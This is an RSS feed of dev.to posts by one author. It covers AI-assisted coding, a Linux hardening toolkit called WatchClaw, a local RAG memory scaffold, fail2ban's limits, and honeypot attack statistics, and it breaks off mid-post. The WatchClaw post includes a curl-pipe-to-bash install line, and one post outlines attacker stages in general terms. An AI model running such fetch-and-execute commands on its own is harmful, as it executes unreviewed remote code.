<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Kashif Eqbal</title>
    <description>The latest articles on DEV Community by Kashif Eqbal (@kashifeqbal).</description>
    <link>https://dev.to/kashifeqbal</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1025193%2Fbc6b8e48-8ede-49a1-94cc-1a79fe26955f.png</url>
      <title>DEV Community: Kashif Eqbal</title>
      <link>https://dev.to/kashifeqbal</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kashifeqbal"/>
    <language>en</language>
    <item>
      <title>AI Didn’t Replace Developers — It Just Put Everyone in a Faster Car</title>
      <dc:creator>Kashif Eqbal</dc:creator>
      <pubDate>Sat, 14 Mar 2026 11:56:04 +0000</pubDate>
      <link>https://dev.to/kashifeqbal/ai-didnt-replace-developers-it-just-put-everyone-in-a-faster-car-2fj</link>
      <guid>https://dev.to/kashifeqbal/ai-didnt-replace-developers-it-just-put-everyone-in-a-faster-car-2fj</guid>
      <description>&lt;h1&gt;
  
  
  AI Didn’t Replace Developers — It Just Put Everyone in a Faster Car
&lt;/h1&gt;

&lt;p&gt;AI didn’t replace developers.&lt;br&gt;&lt;br&gt;
It did something more dangerous.&lt;br&gt;&lt;br&gt;
It put everyone behind the wheel of a very fast car.&lt;/p&gt;

&lt;p&gt;Traditional coding was the horse era.&lt;br&gt;&lt;br&gt;
AI-assisted coding is the car era.&lt;/p&gt;

&lt;p&gt;Both can get you to the destination.&lt;br&gt;&lt;br&gt;
But speed, scale, and risk are completely different.&lt;/p&gt;

&lt;h2&gt;
  
  
  Horse Era vs Car Era
&lt;/h2&gt;

&lt;p&gt;In the horse era:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Progress was slower&lt;/li&gt;
&lt;li&gt;Fundamentals were unavoidable&lt;/li&gt;
&lt;li&gt;Mistakes happened, but the blast radius was smaller&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the car era:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can move much faster&lt;/li&gt;
&lt;li&gt;More people can "drive"&lt;/li&gt;
&lt;li&gt;One bad decision at high speed causes bigger damage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s exactly what AI changed in software.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI Is a Car, Not Autopilot Wisdom
&lt;/h2&gt;

&lt;p&gt;AI can generate code in seconds.&lt;br&gt;&lt;br&gt;
It can draft APIs, tests, and docs quickly.&lt;/p&gt;

&lt;p&gt;But speed is not skill.&lt;/p&gt;

&lt;p&gt;We’ve all seen it:&lt;br&gt;&lt;br&gt;
AI generates a function that "works"…&lt;br&gt;&lt;br&gt;
until production traffic hits it.&lt;/p&gt;

&lt;p&gt;In real teams, this becomes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;insecure code shipped too fast&lt;/li&gt;
&lt;li&gt;wrong logic in production&lt;/li&gt;
&lt;li&gt;copy-paste engineering without understanding&lt;/li&gt;
&lt;li&gt;technical debt created at high velocity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;AI is not the problem.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Unskilled driving is the problem.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Best Developers Are OG Drivers
&lt;/h2&gt;

&lt;p&gt;The strongest developers are OG drivers — they can operate in both eras.&lt;/p&gt;

&lt;h3&gt;
  
  
  Horse skills (fundamentals)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;problem-solving&lt;/li&gt;
&lt;li&gt;architecture thinking&lt;/li&gt;
&lt;li&gt;debugging discipline&lt;/li&gt;
&lt;li&gt;performance and security mindset&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Car skills (AI era)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;prompting clearly&lt;/li&gt;
&lt;li&gt;validating model output&lt;/li&gt;
&lt;li&gt;iterating fast without losing quality&lt;/li&gt;
&lt;li&gt;using AI as leverage, not authority&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;They don’t just move fast.&lt;br&gt;&lt;br&gt;
They move fast &lt;strong&gt;with control&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Practical Workflow That Works
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Use AI for first draft
&lt;/li&gt;
&lt;li&gt;Do architecture decisions yourself
&lt;/li&gt;
&lt;li&gt;Run tests + static checks
&lt;/li&gt;
&lt;li&gt;Review security + edge cases
&lt;/li&gt;
&lt;li&gt;Refactor before merge&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;AI can generate code.&lt;br&gt;&lt;br&gt;
You still own production outcomes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;Horse travelers were never wrong.&lt;br&gt;&lt;br&gt;
Car travelers are not cheating.&lt;/p&gt;

&lt;p&gt;But in this era, everyone can access speed.&lt;br&gt;&lt;br&gt;
Very few can control it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AI made coding faster. It didn’t automatically make developers better.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Curious how others see this:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Are we entering an era where AI creates better engineers…&lt;br&gt;&lt;br&gt;
or just faster mistakes?&lt;br&gt;&lt;br&gt;
How are you using AI in your workflow today?&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>productivity</category>
      <category>career</category>
    </item>
    <item>
      <title>Meet WatchClaw: One Command to Harden a Linux Server</title>
      <dc:creator>Kashif Eqbal</dc:creator>
      <pubDate>Wed, 04 Mar 2026 12:30:25 +0000</pubDate>
      <link>https://dev.to/kashifeqbal/meet-watchclaw-one-command-to-harden-a-linux-server-50kl</link>
      <guid>https://dev.to/kashifeqbal/meet-watchclaw-one-command-to-harden-a-linux-server-50kl</guid>
      <description>&lt;p&gt;If you've ever hardened a fresh Linux server, you know the drill:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;lock down SSH&lt;/li&gt;
&lt;li&gt;baseline firewall rules&lt;/li&gt;
&lt;li&gt;configure fail2ban&lt;/li&gt;
&lt;li&gt;add honeypot/tripwire signals&lt;/li&gt;
&lt;li&gt;harden kernel/sysctl settings&lt;/li&gt;
&lt;li&gt;keep the setup reproducible across machines&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most teams do this with scattered shell snippets, old runbooks, and memory.&lt;br&gt;
That works—until you need consistency, speed, and repeatability.&lt;/p&gt;

&lt;p&gt;So I built &lt;strong&gt;WatchClaw&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/kashifeqbal/watchclaw" rel="noopener noreferrer"&gt;https://github.com/kashifeqbal/watchclaw&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://raw.githubusercontent.com/kashifeqbal/watchclaw/main/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What is WatchClaw?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;WatchClaw&lt;/strong&gt; is a modular Linux security hardening toolkit.&lt;br&gt;
It turns a fresh VPS into a hardened, monitored, self-defending system in minutes.&lt;/p&gt;

&lt;p&gt;At a high level, it combines:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;baseline hardening (SSH, firewall, fail2ban, kernel)&lt;/li&gt;
&lt;li&gt;deception + detection (Cowrie honeypot + canary tripwires)&lt;/li&gt;
&lt;li&gt;threat intelligence (import/export feeds + cross-node sharing)&lt;/li&gt;
&lt;li&gt;plain-English reporting and alerting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;CLI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;watchclaw
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SYSTEM HEALTH: OK
SECURITY STATUS: LOW
Risk Meaning: Normal background noise
Action Right Now: No action needed

Active Threat Score (last 30m): 23.0
Top Offender (last 30m): 203.0.113.42 (18.0 in 30m)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Modes
&lt;/h2&gt;

&lt;p&gt;WatchClaw supports two operating modes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Standalone&lt;/strong&gt;: pure bash + cron workflows, no agent dependency&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;With OpenClaw Agents&lt;/strong&gt;: adds AI-powered analysis and richer automation workflows&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Design Goals
&lt;/h2&gt;

&lt;p&gt;I designed WatchClaw to be:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Opinionated, but transparent&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;sensible defaults&lt;/li&gt;
&lt;li&gt;plain shell under the hood&lt;/li&gt;
&lt;li&gt;easy to inspect and customize&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Modular&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;enable components independently&lt;/li&gt;
&lt;li&gt;avoid all-or-nothing hardening scripts&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Operationally practical&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;immediate hardening value&lt;/li&gt;
&lt;li&gt;post-change service health checks&lt;/li&gt;
&lt;li&gt;human-readable reports&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Current Modules
&lt;/h2&gt;

&lt;p&gt;WatchClaw currently ships with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ssh-harden&lt;/code&gt; — moves SSH off port 22, disables password auth, key-only access&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ufw-baseline&lt;/code&gt; — minimal firewall rules, deny-all default&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;fail2ban&lt;/code&gt; — auto-ban repeated auth failures&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cowrie&lt;/code&gt; — SSH honeypot that catches and scores attackers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;kernel&lt;/code&gt; — 29 sysctl hardening settings (SYN flood, ASLR, anti-spoofing)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;canary&lt;/code&gt; — fake sensitive files that alert on access (tripwires)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;threat-feed&lt;/code&gt; — import/export IP blocklists&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sync&lt;/code&gt; — share threat data across multiple nodes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Together, these cover baseline hardening, lightweight deception, and cross-node threat coordination.&lt;/p&gt;

&lt;h2&gt;
  
  
  What You Get
&lt;/h2&gt;

&lt;p&gt;Recent updates made WatchClaw significantly more production-ready:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;one-command installer (&lt;code&gt;install.sh&lt;/code&gt;) with &lt;code&gt;--standalone&lt;/code&gt;, &lt;code&gt;--with-agents&lt;/code&gt;, &lt;code&gt;--modules&lt;/code&gt;, and &lt;code&gt;--dry-run&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;score-based ban policy with escalation:

&lt;ul&gt;
&lt;li&gt;score ≥25 → 24h ban&lt;/li&gt;
&lt;li&gt;score ≥75 → 7d ban&lt;/li&gt;
&lt;li&gt;score ≥150 → permanent ban&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;instant ban for successful honeypot login attempts&lt;/li&gt;

&lt;li&gt;rolling threat scoring + score decay + stale threat pruning&lt;/li&gt;

&lt;li&gt;IP enrichment (ASN/geo/reputation cache)&lt;/li&gt;

&lt;li&gt;plain-English posture reports for quick operator decisions&lt;/li&gt;

&lt;li&gt;exportable blocklists and sync across nodes&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why Canary Tokens Matter
&lt;/h2&gt;

&lt;p&gt;Hardening reduces attack surface.&lt;br&gt;
Canaries improve detection confidence.&lt;/p&gt;

&lt;p&gt;WatchClaw's canary layer is intentionally simple: if something touches a file that should never be touched, that signal should be immediate and obvious.&lt;/p&gt;

&lt;p&gt;This is less about flashy threat intelligence and more about reducing time-to-awareness.&lt;/p&gt;

&lt;h2&gt;
  
  
  Real Numbers from a Real Server
&lt;/h2&gt;

&lt;p&gt;WatchClaw isn't theoretical. It's been running on a $14/month Contabo VPS for weeks. In one 24-hour period: 87 unique attacker IPs, 281 honeypot login attempts, 1,052 commands executed in the honeypot, 10 tunnel attempts, and 67 IPs auto-banned. Zero breaches on the real SSH port.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Another Security Tool?
&lt;/h2&gt;

&lt;p&gt;Because many teams don't need a heavyweight platform to improve security.&lt;br&gt;
They need:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;reliable baseline hardening&lt;/li&gt;
&lt;li&gt;clear, reversible scripts&lt;/li&gt;
&lt;li&gt;enough detection + response to avoid blind spots&lt;/li&gt;
&lt;li&gt;a system they can run and understand without a SOC&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;WatchClaw is built for that middle ground.&lt;/p&gt;

&lt;h2&gt;
  
  
  Roadmap (Near Term)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;install validation on fresh VPS images&lt;/li&gt;
&lt;li&gt;improved drift detection and rollback&lt;/li&gt;
&lt;li&gt;richer feed quality controls and trust scoring&lt;/li&gt;
&lt;li&gt;public threat blocklist feed (&lt;code&gt;watchclaw-threats&lt;/code&gt; repo)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;Security maturity rarely comes from one dramatic upgrade.&lt;br&gt;
It comes from repeatable controls, fast feedback loops, and steady iteration.&lt;/p&gt;

&lt;p&gt;That's what WatchClaw is for.&lt;/p&gt;

&lt;p&gt;If you want to review or contribute, check the repo and open an issue or PR:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/kashifeqbal/watchclaw" rel="noopener noreferrer"&gt;https://github.com/kashifeqbal/watchclaw&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>linux</category>
      <category>devops</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Vectorless RAG Meets Agent Memory: Running Hindsight + PageIndex Fully Local</title>
      <dc:creator>Kashif Eqbal</dc:creator>
      <pubDate>Mon, 02 Mar 2026 10:04:48 +0000</pubDate>
      <link>https://dev.to/kashifeqbal/vectorless-rag-meets-agent-memory-running-hindsight-pageindex-fully-local-1d8m</link>
      <guid>https://dev.to/kashifeqbal/vectorless-rag-meets-agent-memory-running-hindsight-pageindex-fully-local-1d8m</guid>
      <description>&lt;p&gt;Most RAG systems work the same way: chunk documents, embed them into vectors, run similarity search, and surface the closest match. It works — until it doesn't. Similarity is not relevance. On complex professional documents, that gap shows up quickly.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Different Retrieval Model
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/VectifyAI/PageIndex" rel="noopener noreferrer"&gt;PageIndex&lt;/a&gt; from VectifyAI skips chunking and embedding entirely. It builds a hierarchical tree index from the document structure — effectively an auto-generated table of contents — then uses LLM reasoning to navigate that structure. No vector database. No chunking pipeline. Reported accuracy: 98.7% on FinanceBench.&lt;/p&gt;

&lt;h2&gt;
  
  
  Memory, Not Just Retrieval
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/vectorize-io/hindsight" rel="noopener noreferrer"&gt;Hindsight&lt;/a&gt; by Vectorize.io handles long-term agent memory. It organises memory into three types:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;World facts&lt;/li&gt;
&lt;li&gt;Experiences&lt;/li&gt;
&lt;li&gt;Mental models&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;...accessed through a &lt;code&gt;retain → recall → reflect&lt;/code&gt; API. It leads the LongMemEval benchmark for agent memory accuracy.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;Both systems are capable — but both depend on external APIs. I wanted the same functionality running fully local, offline, and deterministic. So I built &lt;strong&gt;&lt;a href="https://github.com/kashifeqbal/hindsight-pageindex" rel="noopener noreferrer"&gt;hindsight-pageindex&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What It Is
&lt;/h2&gt;

&lt;p&gt;A local runtime scaffold that vendors PageIndex and exposes a Hindsight-compatible REST interface:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /index   → ingest .md or .pdf
POST /query   → retrieve top-K relevant sections
GET  /docs    → list indexed documents
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Retrieval uses PageIndex's lexical + document-structure scoring. Markdown hierarchy is preserved, so queries resolve against document meaning rather than raw keyword matches. Fast. Deterministic. No external API calls.&lt;/p&gt;

&lt;h2&gt;
  
  
  Setup
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/kashifeqbal/hindsight-pageindex
&lt;span class="nb"&gt;cd &lt;/span&gt;hindsight-pageindex
npm run setup:local
&lt;span class="nb"&gt;cp&lt;/span&gt; .env.example .env
&lt;span class="c"&gt;# Set CHATGPT_API_KEY and API_TOKEN&lt;/span&gt;
npm run start
&lt;span class="c"&gt;# → Listening on 127.0.0.1:8787&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Try It in Under a Minute
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/tmp/hindsight-sample.md &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;MD&lt;/span&gt;&lt;span class="sh"&gt;'
# User Profile
## Location
Based in Gurgaon, India.
## Preference
Prefers concise, direct answers.
&lt;/span&gt;&lt;span class="no"&gt;MD

&lt;/span&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;API_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'your-token-here'&lt;/span&gt;
node scripts/test-index.mjs
node scripts/test-query.mjs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ranked sections return instantly — no embedding service, no network round-trip.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Pairing Works
&lt;/h2&gt;

&lt;p&gt;Hindsight manages memory lifecycle. PageIndex handles document reasoning retrieval. Together they cover the full local memory stack:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Memory lifecycle&lt;/td&gt;
&lt;td&gt;Hindsight&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Document retrieval&lt;/td&gt;
&lt;td&gt;PageIndex&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Infrastructure&lt;/td&gt;
&lt;td&gt;Your machine&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  When to Use This
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Air-gapped or privacy-sensitive environments&lt;/strong&gt; — memory stays on device&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Personal AI assistants&lt;/strong&gt; — profiles and preferences that shouldn't reach a cloud API&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prototyping&lt;/strong&gt; before committing to the full Hindsight hosted stack&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Where explainability matters&lt;/strong&gt; — tree traversal is traceable; cosine similarity isn't&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] LLM-guided tree search in &lt;code&gt;/query&lt;/code&gt; — the full PageIndex reasoning pass, locally&lt;/li&gt;
&lt;li&gt;[ ] Multi-doc cross-query support&lt;/li&gt;
&lt;li&gt;[ ] Optional embedding scorer as a drop-in upgrade path&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Repo: &lt;strong&gt;&lt;a href="https://github.com/kashifeqbal/hindsight-pageindex" rel="noopener noreferrer"&gt;github.com/kashifeqbal/hindsight-pageindex&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you're building local-first agent memory or have used PageIndex or Hindsight in a different setup, happy to compare notes.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>rag</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Why Fail2ban Alone Is Not a Security Strategy</title>
      <dc:creator>Kashif Eqbal</dc:creator>
      <pubDate>Sun, 01 Mar 2026 23:10:58 +0000</pubDate>
      <link>https://dev.to/kashifeqbal/why-fail2ban-alone-is-not-a-security-strategy-1j9o</link>
      <guid>https://dev.to/kashifeqbal/why-fail2ban-alone-is-not-a-security-strategy-1j9o</guid>
      <description>&lt;p&gt;Fail2ban is useful. I run it on every VPS.&lt;/p&gt;

&lt;p&gt;On internet-exposed systems, brute-force SSH traffic never really stops.&lt;/p&gt;

&lt;p&gt;If your security plan is only “install fail2ban,” your server is still exposed.&lt;/p&gt;

&lt;p&gt;The core issue: fail2ban is reactive. It reads logs and bans sources after bad activity happens. That reduces noise, but it does not reduce your attack surface.&lt;/p&gt;

&lt;h2&gt;
  
  
  What fail2ban does well
&lt;/h2&gt;

&lt;p&gt;For SSH, fail2ban is good at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;detecting repeated failed authentication attempts&lt;/li&gt;
&lt;li&gt;banning obvious brute-force sources&lt;/li&gt;
&lt;li&gt;reducing background bot noise&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is real value. Keep it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where fail2ban alone breaks
&lt;/h2&gt;

&lt;p&gt;This is where the operational gap appears.&lt;/p&gt;

&lt;h3&gt;
  
  
  1) It reacts after the hit
&lt;/h3&gt;

&lt;p&gt;Attackers still reach the service first. The ban happens later.&lt;/p&gt;

&lt;h3&gt;
  
  
  2) It only protects what you configured
&lt;/h3&gt;

&lt;p&gt;No jail, no protection.&lt;/p&gt;

&lt;h3&gt;
  
  
  3) It does not hide your real target
&lt;/h3&gt;

&lt;p&gt;If real SSH is public, scanners will keep hitting it indefinitely.&lt;/p&gt;

&lt;h3&gt;
  
  
  4) Low-and-slow traffic evades thresholds
&lt;/h3&gt;

&lt;p&gt;Attackers rotate IPs and stay below ban limits.&lt;/p&gt;

&lt;h3&gt;
  
  
  5) “Installed” ≠ “effective”
&lt;/h3&gt;

&lt;p&gt;Common weak setups include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;default jails only&lt;/li&gt;
&lt;li&gt;short ban windows&lt;/li&gt;
&lt;li&gt;no escalation for repeat offenders&lt;/li&gt;
&lt;li&gt;no alert feedback loop&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What attacker flow usually looks like
&lt;/h2&gt;

&lt;p&gt;On exposed SSH, activity typically follows a predictable pattern:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;credential spray (root/password, common combos)&lt;/li&gt;
&lt;li&gt;probe command (echo "ok" style validation)&lt;/li&gt;
&lt;li&gt;host fingerprinting (uname, cpuinfo, meminfo)&lt;/li&gt;
&lt;li&gt;persistence attempt (authorized_keys edits, flags)&lt;/li&gt;
&lt;li&gt;malware or script download attempt&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Fail2ban mainly reduces step-one noise. It does not address the full chain.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to do instead: layered baseline
&lt;/h2&gt;

&lt;p&gt;Use fail2ban as one layer, not the strategy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer A — Put a decoy on port 22
&lt;/h3&gt;

&lt;p&gt;Run Cowrie so scanners interact with fake SSH instead of the real service.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer B — Hide real SSH
&lt;/h3&gt;

&lt;p&gt;Move real sshd off the public interface (loopback-only) and access it through secure ingress such as a Cloudflare Tunnel.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer C — Default-deny firewall
&lt;/h3&gt;

&lt;p&gt;Expose only services that must be reachable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer D — Volume-based auto-ban
&lt;/h3&gt;

&lt;p&gt;Quickly block high-volume sources detected via honeypot telemetry.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer E — Fix alert quality
&lt;/h3&gt;

&lt;p&gt;One clean operations channel. Noisy alerts get ignored.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer F — Handle secrets properly
&lt;/h3&gt;

&lt;p&gt;Avoid long-lived plaintext secrets on disk.&lt;/p&gt;

&lt;h2&gt;
  
  
  Minimal checklist for small teams
&lt;/h2&gt;

&lt;p&gt;If you run a public VPS, this is a practical baseline:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;fail2ban tuned and verified&lt;/li&gt;
&lt;li&gt;firewall set to default deny&lt;/li&gt;
&lt;li&gt;real SSH not publicly exposed&lt;/li&gt;
&lt;li&gt;honeypot or equivalent SSH telemetry&lt;/li&gt;
&lt;li&gt;meaningful alerts for spikes and bans&lt;/li&gt;
&lt;li&gt;weekly log review and threshold tuning&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  One-Day Hardening Plan
&lt;/h2&gt;

&lt;p&gt;In a single focused session:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;tune fail2ban jails and verify bans&lt;/li&gt;
&lt;li&gt;move real SSH off the public interface and enforce key-only auth&lt;/li&gt;
&lt;li&gt;add honeypot (or structured SSH telemetry) and alerts&lt;/li&gt;
&lt;li&gt;implement auto-ban for high-volume sources&lt;/li&gt;
&lt;li&gt;review logs and tighten thresholds&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Practical takeaway
&lt;/h2&gt;

&lt;p&gt;Keep fail2ban.&lt;/p&gt;

&lt;p&gt;Just don’t treat it as the whole strategy.&lt;/p&gt;

&lt;p&gt;On public infrastructure, security comes from layers: less exposure, better telemetry, faster response. Teams operating with smaller attack surfaces and clear visibility make better decisions when incidents happen.&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>linux</category>
      <category>selfhosted</category>
    </item>
    <item>
      <title>I Deployed a Fresh Ubuntu VPS - It Was Attacked 27,000 Times in 24 Hours</title>
      <dc:creator>Kashif Eqbal</dc:creator>
      <pubDate>Sun, 01 Mar 2026 22:15:51 +0000</pubDate>
      <link>https://dev.to/kashifeqbal/i-deployed-a-fresh-ubuntu-vps-it-was-attacked-27000-times-in-24-hours-2o7</link>
      <guid>https://dev.to/kashifeqbal/i-deployed-a-fresh-ubuntu-vps-it-was-attacked-27000-times-in-24-hours-2o7</guid>
      <description>&lt;p&gt;I Deployed a Fresh Ubuntu VPS - It Was Attacked 27,000 Times in 24 Hours&lt;/p&gt;

&lt;p&gt;Fresh Ubuntu 24.04 on a $14/month Contabo VPS.&lt;br&gt;&lt;br&gt;
No app. No data.&lt;/p&gt;

&lt;p&gt;Within hours, logs were full of garbage traffic.&lt;/p&gt;
&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;In the first 24 hours on a public IP:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;27,253&lt;/strong&gt; connection attempts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;99&lt;/strong&gt; unique attacking IPs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;3&lt;/strong&gt; malware download attempts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;1&lt;/strong&gt; persistence attempt that would likely compromise a normal box&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Defense stack I used:&lt;/p&gt;

&lt;ul&gt;
